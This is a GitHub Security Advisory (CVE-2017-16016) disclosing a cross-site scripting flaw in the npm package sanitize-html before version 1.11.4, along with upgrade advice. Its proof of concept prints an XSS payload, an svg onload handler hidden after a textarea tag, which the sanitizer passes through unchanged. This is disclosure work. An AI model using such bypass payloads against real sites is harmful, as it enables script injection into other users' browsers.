GHSA-xc6g-ggrc-qq4r

GitHub Security Advisory

Cross-Site Scripting in sanitize-html

✓ GitHub Reviewed MODERATE Has CVE

Affected versions of `sanitize-html` are vulnerable to cross-site scripting when allowedTags includes at least one `nonTextTag`.

## Proof of Concept

```js
var sanitizeHtml = require('sanitize-html');

var dirty = '!<textarea></textarea><svg/onload=prompt`xs`></textarea>!';
var clean = sanitizeHtml(dirty, {
allowedTags: [ 'textarea' ]
});

console.log(clean);

// !<textarea></textarea><svg/onload=prompt`xs`></textarea>!
```

## Recommendation

Update to version 1.11.4 or later.

npm sanitize-html

Affected versions: 0 (fixed in 1.11.4)

CVE-2017-16016

GHSA ID

GHSA-xc6g-ggrc-qq4r

Published

November 9, 2018 5:47 PM

Last Modified

September 8, 2023 11:04 PM

CVSS Score

5.0 /10

Primary Ecosystem

npm

Primary Package

sanitize-html

GitHub Reviewed

✓ Yes

Last updated: August 30, 2025 6:32 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.